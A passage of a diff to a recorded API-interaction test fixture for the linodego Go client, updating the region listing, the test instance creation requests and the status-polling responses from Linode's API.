1234::5678, 1234::5678, 1234::5678, + 1234::5678, 1234::5678, 1234::5678"}, + "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": + 5}, "site_type": "core"}, {"id": "us-ord", "label": "Chicago, IL", "country": + "us", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", + "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", + "Managed Databases", "Metadata", "Premium Plans"], "status": "ok", "resolvers": + {"ipv4": "172.232.0.17, 172.232.0.16, 172.232.0.21, 172.232.0.13, 172.232.0.22, + 172.232.0.9, 172.232.0.19, 172.232.0.20, 172.232.0.15, 172.232.0.18", "ipv6": + "1234::5678, 1234::5678, 1234::5678, + 1234::5678, 1234::5678, 1234::5678, + 1234::5678, 1234::5678, 1234::5678, + 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": + 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "fr-par", "label": + "Paris, FR", "country": "fr", "capabilities": ["Linodes", "Backups", "NodeBalancers", + "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", + "Vlans", "VPCs", "Managed Databases", "Metadata", "Premium Plans"], "status": + "ok", "resolvers": {"ipv4": "172.232.32.21, 172.232.32.23, 172.232.32.17, 172.232.32.18, + 172.232.32.16, 172.232.32.22, 172.232.32.20, 172.232.32.14, 172.232.32.11, 172.232.32.12", + "ipv6": "1234::5678, 1234::5678, 1234::5678, + 1234::5678, 1234::5678, 1234::5678, + 1234::5678, 1234::5678, 1234::5678, + 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": + 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "us-sea", "label": + "Seattle, WA", "country": "us", "capabilities": ["Linodes", "Backups", "NodeBalancers", + "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", + "Vlans", "VPCs", "Metadata", "Premium Plans"], "status": "ok", "resolvers": + {"ipv4": "172.232.160.19, 172.232.160.21, 172.232.160.17, 172.232.160.15, 172.232.160.18, + 172.232.160.8, 172.232.160.12, 172.232.160.11, 172.232.160.14, 172.232.160.16", + "ipv6": "1234::5678, 1234::5678, 1234::5678, + 1234::5678, 1234::5678, 1234::5678, + 1234::5678, 1234::5678, 1234::5678, + 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": + 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "br-gru", "label": + "Sao Paulo, BR", "country": "br", "capabilities": ["Linodes", "Backups", "NodeBalancers", + "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", + "VPCs", "Metadata", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": + "172.233.0.4, 172.233.0.9, 172.233.0.7, 172.233.0.12, 172.233.0.5, 172.233.0.13, + 172.233.0.10, 172.233.0.6, 172.233.0.8, 172.233.0.11", "ipv6": "1234::5678, + 1234::5678, 1234::5678, 1234::5678, + 1234::5678, 1234::5678, 1234::5678, + 1234::5678, 1234::5678, 1234::5678"}, + "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": + 5}, "site_type": "core"}, {"id": "nl-ams", "label": "Amsterdam, NL", "country": + "nl", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", + "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", + "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.233.33.36, 172.233.33.38, + 172.233.33.35, 172.233.33.39, 172.233.33.34, 172.233.33.33, 172.233.33.31, 172.233.33.30, + 172.233.33.37, 172.233.33.32", "ipv6": "1234::5678, 1234::5678, + 1234::5678, 1234::5678, 1234::5678, + 1234::5678, 1234::5678, 1234::5678, + 1234::5678, 1234::5678"}, "placement_group_limits": + {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": + "core"}, {"id": "se-sto", "label": "Stockholm, SE", "country": "se", "capabilities": + ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", + "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans"], "status": "ok", + "resolvers": {"ipv4": "172.232.128.24, 172.232.128.26, 172.232.128.20, 172.232.128.22, + 172.232.128.25, 172.232.128.19, 172.232.128.23, 172.232.128.18, 172.232.128.21, + 172.232.128.27", "ipv6": "1234::5678, 1234::5678, + 1234::5678, 1234::5678, 1234::5678, + 1234::5678, 1234::5678, 1234::5678, + 1234::5678, 1234::5678"}, "placement_group_limits": + {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": + "core"}, {"id": "es-mad", "label": "Madrid, ES", "country": "es", "capabilities": + ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", + "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans"], "status": "ok", + "resolvers": {"ipv4": "172.233.111.6, 172.233.111.17, 172.233.111.21, 172.233.111.25, + 172.233.111.19, 172.233.111.12, 172.233.111.26, 172.233.111.16, 172.233.111.18, + 172.233.111.9", "ipv6": "1234::5678, 1234::5678, + 1234::5678, 1234::5678, 1234::5678, + 1234::5678, 1234::5678, 1234::5678, + 1234::5678, 1234::5678"}, "placement_group_limits": + {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": + "core"}, {"id": "in-maa", "label": "Chennai, IN", "country": "in", "capabilities": + ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", + "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans"], "status": "ok", + "resolvers": {"ipv4": "172.232.96.17, 172.232.96.26, 172.232.96.19, 172.232.96.20, + 172.232.96.25, 172.232.96.21, 172.232.96.18, 172.232.96.22, 172.232.96.23, 172.232.96.24", + "ipv6": "1234::5678, 1234::5678, 1234::5678, + 1234::5678, 1234::5678, 1234::5678, + 1234::5678, 1234::5678, 1234::5678, + 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": + 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "jp-osa", "label": + "Osaka, JP", "country": "jp", "capabilities": ["Linodes", "Backups", "NodeBalancers", + "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", + "Vlans", "VPCs", "Metadata", "Premium Plans"], "status": "ok", "resolvers": + {"ipv4": "172.233.64.44, 172.233.64.43, 172.233.64.37, 172.233.64.40, 172.233.64.46, + 172.233.64.41, 172.233.64.39, 172.233.64.42, 172.233.64.45, 172.233.64.38", + "ipv6": "1234::5678, 1234::5678, 1234::5678, + 1234::5678, 1234::5678, 1234::5678, + 1234::5678, 1234::5678, 1234::5678, + 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": + 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "it-mil", "label": + "Milan, IT", "country": "it", "capabilities": ["Linodes", "Backups", "NodeBalancers", + "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", + "VPCs", "Metadata", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": + "172.232.192.19, 172.232.192.18, 172.232.192.16, 172.232.192.20, 172.232.192.24, + 172.232.192.21, 172.232.192.22, 172.232.192.17, 172.232.192.15, 172.232.192.23", + "ipv6": "1234::5678, 1234::5678, 1234::5678, + 1234::5678, 1234::5678, 1234::5678, + 1234::5678, 1234::5678, 1234::5678, + 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": + 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "us-mia", "label": + "Miami, FL", "country": "us", "capabilities": ["Linodes", "Backups", "NodeBalancers", + "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", + "VPCs", "Metadata", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": + "172.233.160.34, 172.233.160.27, 172.233.160.30, 172.233.160.29, 172.233.160.32, + 172.233.160.28, 172.233.160.33, 172.233.160.26, 172.233.160.25, 172.233.160.31", + "ipv6": "1234::5678, 1234::5678, 1234::5678, + 1234::5678, 1234::5678, 1234::5678, + 1234::5678, 1234::5678, 1234::5678, + 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": + 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "id-cgk", "label": + "Jakarta, ID", "country": "id", "capabilities": ["Linodes", "Backups", "NodeBalancers", + "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", + "VPCs", "Metadata", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": + "172.232.224.23, 172.232.224.32, 172.232.224.26, 172.232.224.27, 172.232.224.21, + 172.232.224.24, 172.232.224.22, 172.232.224.20, 172.232.224.31, 172.232.224.28", + "ipv6": "1234::5678, 1234::5678, 1234::5678, + 1234::5678, 1234::5678, 1234::5678, + 1234::5678, 1234::5678, 1234::5678, + 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": + 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "us-lax", "label": + "Los Angeles, CA", "country": "us", "capabilities": ["Linodes", "Backups", "NodeBalancers", + "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", + "VPCs", "Metadata", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": + "172.233.128.45, 172.233.128.38, 172.233.128.53, 172.233.128.37, 172.233.128.34, + 172.233.128.36, 172.233.128.33, 172.233.128.39, 172.233.128.43, 172.233.128.44", + "ipv6": "1234::5678, 1234::5678, 1234::5678, + 1234::5678, 1234::5678, 1234::5678, + 1234::5678, 1234::5678, 1234::5678, + 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": + 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "us-central", + "label": "Dallas, TX", "country": "us", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Block - Storage Migrations", "Managed Databases"], "status": "ok", "resolvers": {"ipv4": - "178.79.182.5,176.58.107.5,176.58.116.5,176.58.121.5,151.236.220.5,212.71.252.5,212.71.253.5,109.74.192.20,109.74.193.20,109.74.194.20", - "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}}, - {"id": "ap-south", "label": "Singapore, SG", "country": "sg", "capabilities": - ["Linodes", "NodeBalancers", "Block Storage", "Object Storage", "GPU Linodes", - "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed - Databases"], "status": "ok", "resolvers": {"ipv4": "139.162.11.5,139.162.13.5,139.162.14.5,139.162.15.5,139.162.16.5,139.162.21.5,139.162.27.5,103.3.60.18,103.3.60.19,103.3.60.20", - "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}}, - {"id": "eu-central", "label": "Frankfurt, DE", "country": "de", "capabilities": - ["Linodes", "NodeBalancers", "Block Storage", "Object Storage", "GPU Linodes", - "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed - Databases"], "status": "ok", "resolvers": {"ipv4": "139.162.130.5,139.162.131.5,139.162.132.5,139.162.133.5,139.162.134.5,139.162.135.5,139.162.136.5,139.162.137.5,139.162.138.5,139.162.139.5", - "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}}, - {"id": "ap-northeast", "label": "Tokyo, JP", "country": "jp", "capabilities": - ["Linodes", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", - "Block Storage Migrations", "Managed Databases"], "status": "ok", "resolvers": - {"ipv4": "139.162.66.5,139.162.67.5,139.162.68.5,139.162.69.5,139.162.70.5,139.162.71.5,139.162.72.5,139.162.73.5,139.162.74.5,139.162.75.5", - "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}}], - "page": 1, "pages": 1, "results": 14}' + Storage Migrations", "Managed Databases", "Metadata"], "status": "ok", "resolvers": + {"ipv4": "72.14.179.5, 72.14.188.5, 173.255.199.5, 66.228.53.5, 96.126.122.5, + 96.126.124.5, 96.126.127.5, 198.58.107.5, 198.58.111.5, 23.239.24.5", "ipv6": + "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, + 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": + {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": + "core"}, {"id": "us-west", "label": "Fremont, CA", "country": "us", "capabilities": + ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud + Firewall", "Vlans", "Block Storage Migrations", "Managed Databases", "Metadata"], + "status": "ok", "resolvers": {"ipv4": "173.230.145.5, 173.230.147.5, 173.230.155.5, + 173.255.212.5, 173.255.219.5, 173.255.241.5, 173.255.243.5, 173.255.244.5, 74.207.241.5, + 74.207.242.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, + 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, + "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": + 5}, "site_type": "core"}, {"id": "us-southeast", "label": "Atlanta, GA", "country": + "us", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", + "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "Block + Storage Migrations", "Managed Databases", "Metadata"], "status": "ok", "resolvers": + {"ipv4": "74.207.231.5, 173.230.128.5, 173.230.129.5, 173.230.136.5, 173.230.140.5, + 66.228.59.5, 66.228.62.5, 50.116.35.5, 50.116.41.5, 23.239.18.5", "ipv6": "1234::5678, + 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, + 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": + 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "us-east", "label": + "Newark, NJ", "country": "us", "capabilities": ["Linodes", "Backups", "NodeBalancers", + "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", + "Vlans", "Block Storage Migrations", "Managed Databases", "Metadata"], "status": + "ok", "resolvers": {"ipv4": "66.228.42.5, 96.126.106.5, 50.116.53.5, 50.116.58.5, + 50.116.61.5, 50.116.62.5, 66.175.211.5, 97.107.133.4, 207.192.69.4, 207.192.69.5", + "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, + 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": + {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": + "core"}, {"id": "eu-west", "label": "London, UK", "country": "gb", "capabilities": + ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud + Firewall", "Vlans", "Block Storage Migrations", "Managed Databases", "Metadata"], + "status": "ok", "resolvers": {"ipv4": "178.79.182.5, 176.58.107.5, 176.58.116.5, + 176.58.121.5, 151.236.220.5, 212.71.252.5, 212.71.253.5, 109.74.192.20, 109.74.193.20, + 109.74.194.20", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, + 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, + "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": + 5}, "site_type": "core"}, {"id": "ap-south", "label": "Singapore, SG", "country": + "sg", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", + "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "Block + Storage Migrations", "Managed Databases", "Metadata"], "status": "ok", "resolvers": + {"ipv4": "139.162.11.5, 139.162.13.5, 139.162.14.5, 139.162.15.5, 139.162.16.5, + 139.162.21.5, 139.162.27.5, 103.3.60.18, 103.3.60.19, 103.3.60.20", "ipv6": + "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, + 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": + {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": + "core"}, {"id": "eu-central", "label": "Frankfurt, DE", "country": "de", "capabilities": + ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "GPU + Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", + "Managed Databases", "Metadata"], "status": "ok", "resolvers": {"ipv4": "139.162.130.5, + 139.162.131.5, 139.162.132.5, 139.162.133.5, 139.162.134.5, 139.162.135.5, 139.162.136.5, + 139.162.137.5, 139.162.138.5, 139.162.139.5", "ipv6": "1234::5678, 1234::5678, + 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, + 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": + 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "ap-northeast", + "label": "Tokyo, JP", "country": "jp", "capabilities": ["Linodes", "Backups", + "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Block + Storage Migrations", "Managed Databases", "Metadata"], "status": "ok", "resolvers": + {"ipv4": "139.162.66.5, 139.162.67.5, 139.162.68.5, 139.162.69.5, 139.162.70.5, + 139.162.71.5, 139.162.72.5, 139.162.73.5, 139.162.74.5, 139.162.75.5", "ipv6": + "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, + 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": + {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": + "core"}], "page": 1, "pages": 1, "results": 25}' headers: Access-Control-Allow-Credentials: - "true" @@ -94,19 +264,23 @@ interactions: Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - - private, max-age=900 - - private, max-age=60, s-maxage=60 + - max-age=0, no-cache, no-store + Connection: + - keep-alive Content-Security-Policy: - default-src 'none' Content-Type: - application/json - Server: - - nginx + Expires: + - Fri, 31 May 2024 17:29:48 GMT + Pragma: + - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter + - Accept-Encoding X-Accepted-Oauth-Scopes: - '*' X-Content-Type-Options: @@ -115,16 +289,19 @@ interactions: - DENY - DENY X-Oauth-Scopes: - - '*' + - account:read_write databases:read_write domains:read_write events:read_write + firewall:read_write images:read_write ips:read_write linodes:read_write lke:read_write + longview:read_write nodebalancers:read_write object_storage:read_write stackscripts:read_write + volumes:read_write vpc:read_write X-Ratelimit-Limit: - - "800" + - "400" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: - body: '{"region":"ap-west","type":"g6-nanode-1","label":"go-ins-test-list-0","root_pass":"R34lBAdP455LONGLONGLONGLONG","image":"linode/debian9","interfaces":[{"ipam_address":"10.0.0.1/24","label":"go-vlan-test-list","purpose":"vlan"}],"booted":true}' + body: '{"region":"ap-west","type":"g6-nanode-1","label":"go-ins-test-list-0","root_pass":"GyY.8Z7lAwwZ\\t[bA@\u002651bjTA7/ZgH,enQ@z2H1:2654tp1G$$3;H[\u003e6IdEv43#$","image":"linode/debian9","interfaces":[{"ipam_address":"10.0.0.1/24","label":"go-vlan-test-list","purpose":"vlan"}],"firewall_id":501404,"booted":true}' form: {} headers: Accept: @@ -136,15 +313,16 @@ interactions: url: https://api.linode.com/v4beta/linode/instances method: POST response: - body: '{"id": 46938078, "label": "go-ins-test-list-0", "group": "", "status": + body: '{"id": 59542265, "label": "go-ins-test-list-0", "group": "", "status": "provisioning", "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", - "type": "g6-nanode-1", "ipv4": ["139.144.1.93"], "ipv6": "1234::5678/128", + "type": "g6-nanode-1", "ipv4": ["172.105.62.10"], "ipv6": "1234::5678/128", "image": "linode/debian9", "region": "ap-west", "specs": {"disk": 25600, "memory": 1024, "vcpus": 1, "gpus": 0, "transfer": 1000}, "alerts": {"cpu": 90, "network_in": 10, "network_out": 10, "transfer_quota": 80, "io": 10000}, "backups": {"enabled": - false, "available": false, "schedule": {"day": null, "window": null}, "last_successful": + true, "available": false, "schedule": {"day": null, "window": null}, "last_successful": null}, "hypervisor": "kvm", "watchdog_enabled": true, "tags": [], "host_uuid": - "1a12d3d7c0a6cee83c7699d2c92ade2ede5b8e67"}' + "4ecff3e7ba293f448d05aad89062f4677f5065a3", "has_user_data": false, "placement_group": + null}' headers: Access-Control-Allow-Credentials: - "true" @@ -157,15 +335,19 @@ interactions: Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - - private, max-age=60, s-maxage=60 + - max-age=0, no-cache, no-store + Connection: + - keep-alive Content-Length: - - "710" + - "759" Content-Security-Policy: - default-src 'none' Content-Type: - application/json - Server: - - nginx + Expires: + - Fri, 31 May 2024 17:29:48 GMT + Pragma: + - no-cache Strict-Transport-Security: - max-age=31536000 Vary: @@ -178,7 +360,10 @@ interactions: - DENY - DENY X-Oauth-Scopes: - - '*' + - account:read_write databases:read_write domains:read_write events:read_write + firewall:read_write images:read_write ips:read_write linodes:read_write lke:read_write + longview:read_write nodebalancers:read_write object_storage:read_write stackscripts:read_write + volumes:read_write vpc:read_write X-Ratelimit-Limit: - "10" X-Xss-Protection: @@ -187,7 +372,7 @@ interactions: code: 200 duration: "" - request: - body: '{"region":"ap-west","type":"g6-nanode-1","label":"go-ins-test-list-1","root_pass":"R34lBAdP455LONGLONGLONGLONG","image":"linode/debian9","interfaces":[{"ipam_address":"10.0.0.1/24","label":"go-vlan-test-list","purpose":"vlan"}],"booted":true}' + body: '{"region":"ap-west","type":"g6-nanode-1","label":"go-ins-test-list-1","root_pass":"O3A@k=@hA7VJbMBg*}8-42\u003c4=W52xE,Ol1-},RxFVs''9N:Ng-09f~l43m8qwDf5u","image":"linode/debian9","interfaces":[{"ipam_address":"10.0.0.1/24","label":"go-vlan-test-list","purpose":"vlan"}],"firewall_id":501404,"booted":true}' form: {} headers: Accept: @@ -199,15 +384,16 @@ interactions: url: https://api.linode.com/v4beta/linode/instances method: POST response: - body: '{"id": 46938079, "label": "go-ins-test-list-1", "group": "", "status": + body: '{"id": 59542266, "label": "go-ins-test-list-1", "group": "", "status": "provisioning", "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", - "type": "g6-nanode-1", "ipv4": ["139.144.1.230"], "ipv6": "1234::5678/128", + "type": "g6-nanode-1", "ipv4": ["172.105.62.51"], "ipv6": "1234::5678/128", "image": "linode/debian9", "region": "ap-west", "specs": {"disk": 25600, "memory": 1024, "vcpus": 1, "gpus": 0, "transfer": 1000}, "alerts": {"cpu": 90, "network_in": 10, "network_out": 10, "transfer_quota": 80, "io": 10000}, "backups": {"enabled": - false, "available": false, "schedule": {"day": null, "window": null}, "last_successful": + true, "available": false, "schedule": {"day": null, "window": null}, "last_successful": null}, "hypervisor": "kvm", "watchdog_enabled": true, "tags": [], "host_uuid": - "915afd6c961c0333afa335a52a655d656beae128"}' + "2e178642a58dc717a260fc2f07a0f9ebec105e2b", "has_user_data": false, "placement_group": + null}' headers: Access-Control-Allow-Credentials: - "true" @@ -220,15 +406,19 @@ interactions: Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - - private, max-age=60, s-maxage=60 + - max-age=0, no-cache, no-store + Connection: + - keep-alive Content-Length: - - "711" + - "759" Content-Security-Policy: - default-src 'none' Content-Type: - application/json - Server: - - nginx + Expires: + - Fri, 31 May 2024 17:29:49 GMT + Pragma: + - no-cache Strict-Transport-Security: - max-age=31536000 Vary: @@ -241,7 +431,10 @@ interactions: - DENY - DENY X-Oauth-Scopes: - - '*' + - account:read_write databases:read_write domains:read_write events:read_write + firewall:read_write images:read_write ips:read_write linodes:read_write lke:read_write + longview:read_write nodebalancers:read_write object_storage:read_write stackscripts:read_write + volumes:read_write vpc:read_write X-Ratelimit-Limit: - "10" X-Xss-Protection: @@ -259,18 +452,19 @@ interactions: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego - url: https://api.linode.com/v4beta/linode/instances/46938078 + url: https://api.linode.com/v4beta/linode/instances/59542265 method: GET response: - body: '{"id": 46938078, "label": "go-ins-test-list-0", "group": "", "status": + body: '{"id": 59542265, "label": "go-ins-test-list-0", "group": "", "status": "provisioning", "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", - "type": "g6-nanode-1", "ipv4": ["139.144.1.93"], "ipv6": "1234::5678/128", + "type": "g6-nanode-1", "ipv4": ["172.105.62.10"], "ipv6": "1234::5678/128", "image": "linode/debian9", "region": "ap-west", "specs": {"disk": 25600, "memory": 1024, "vcpus": 1, "gpus": 0, "transfer": 1000}, "alerts": {"cpu": 90, "network_in": 10, "network_out": 10, "transfer_quota": 80, "io": 10000}, "backups": {"enabled": - false, "available": false, "schedule": {"day": null, "window": null}, "last_successful": - null}, "hypervisor": "kvm", "watchdog_enabled": true, "tags": [], "host_uuid": - "1a12d3d7c0a6cee83c7699d2c92ade2ede5b8e67"}' + true, "available": false, "schedule": {"day": "Scheduling", "window": "Scheduling"}, + "last_successful": null}, "hypervisor": "kvm", "watchdog_enabled": true, "tags": + [], "host_uuid": "4ecff3e7ba293f448d05aad89062f4677f5065a3", "has_user_data": + false, "placement_group": null}' headers: Access-Control-Allow-Credentials: - "true" @@ -283,16 +477,19 @@ interactions: Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - - private, max-age=0, s-maxage=0, no-cache, no-store - - private, max-age=60, s-maxage=60 + - max-age=0, no-cache, no-store + Connection: + - keep-alive Content-Length: - - "710" + - "775" Content-Security-Policy: - default-src 'none' Content-Type: - application/json - Server: - - nginx + Expires: + - Fri, 31 May 2024 17:30:04 GMT + Pragma: + - no-cache Strict-Transport-Security: - max-age=31536000 Vary: @@ -306,9 +503,84 @@ interactions: - DENY - DENY X-Oauth-Scopes: + - account:read_write databases:read_write domains:read_write events:read_write + firewall:read_write images:read_write ips:read_write linodes:read_write lke:read_write + longview:read_write nodebalancers:read_write object_storage:read_write stackscripts:read_write + volumes:read_write vpc:read_write + X-Ratelimit-Limit: + - "400" + X-Xss-Protection: + - 1; mode=block + status: 200 OK + code: 200 + duration: "" +- request: + body: "" + form: {} + headers: + Accept: + - application/json + Content-Type: + - application/json + User-Agent: + - linodego/dev https://github.com/linode/linodego + url: https://api.linode.com/v4beta/linode/instances/59542265 + method: GET + response: + body: '{"id": 59542265, "label": "go-ins-test-list-0", "group": "", "status": + "booting", "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", + "type": "g6-nanode-1", "ipv4": ["172.105.62.10"], "ipv6": "1234::5678/128", + "image": "linode/debian9", "region": "ap-west", "specs": {"disk": 25600, "memory": + 1024, "vcpus": 1, "gpus": 0, "transfer": 1000}, "alerts": {"cpu": 90, "network_in": + 10, "network_out": 10, "transfer_quota": 80, "io": 10000}, "backups": {"enabled": + true, "available": false, "schedule": {"day": "Scheduling", "window": "Scheduling"}, + "last_successful": null}, "hypervisor": "kvm", "watchdog_enabled": true, "tags": + [], "host_uuid": "4ecff3e7ba293f448d05aad89062f4677f5065a3", "has_user_data": + false, "placement_group": null}' + headers: + Access-Control-Allow-Credentials: + - "true" + Access-Control-Allow-Headers: + - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter + Access-Control-Allow-Methods: + - HEAD, GET, OPTIONS, POST, PUT, DELETE + Access-Control-Allow-Origin: - '*' + Access-Control-Expose-Headers: + - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status + Cache-Control: + - max-age=0, no-cache, no-store + Connection: + - keep-alive + Content-Length: + - "770" + Content-Security-Policy: + - default-src 'none' + Content-Type: + - application/json + Expires: + - Fri, 31 May 2024 17:30:19 GMT + Pragma: + - no-cache + Strict-Transport-Security: + - max-age=31536000 + Vary: + - Authorization, X-Filter + - Authorization, X-Filter + X-Accepted-Oauth-Scopes: + - linodes:read_only + X-Content-Type-Options: + - nosniff + X-Frame-Options: + - DENY + - DENY + X-Oauth-Scopes: + - account:read_write databases:read_write domains:read_write events:read_write + firewall:read_write images:read_write ips:read_write linodes:read_write lke:read_write + longview:read_write nodebalancers:read_write object_storage:read_write stackscripts:read_write + volumes:read_write vpc:read_write X-Ratelimit-Limit: - - "800" + - "400" X-Xss-Protection: - 1; mode=block status: 200 OK @@ -324,18 +596,19 @@ interactions: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego - url: https://api.linode.com/v4beta/linode/instances/46938078 + url: https://api.linode.com/v4beta/linode/instances/59542265 method: GET response: - body: '{"id": 46938078, "label": "go-ins-test-list-0", "group": "", "status": + body: '{"id": 59542265, "label": "go-ins-test-list-0", "group": "", "status": "running", "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", - "type": "g6-nanode-1", "ipv4": ["139.144.1.93"], "ipv6": "1234::5678/128", + "type": "g6-nanode-1", "ipv4": ["172.105.62.10"], "ipv6": "1234::5678/128", "image": "linode/debian9", "region": "ap-west", "specs": {"disk": 25600, "memory": 1024, "vcpus": 1, "gpus": 0, "transfer": 1000}, "alerts": {"cpu": 90, "network_in": 10, "network_out": 10, "transfer_quota": 80, "io": 10000}, "backups": {"enabled": - false, "available": false, "schedule": {"day": null, "window": null}, "last_successful": - null}, "hypervisor": "kvm", "watchdog_enabled": true, "tags": [], "host_uuid": - 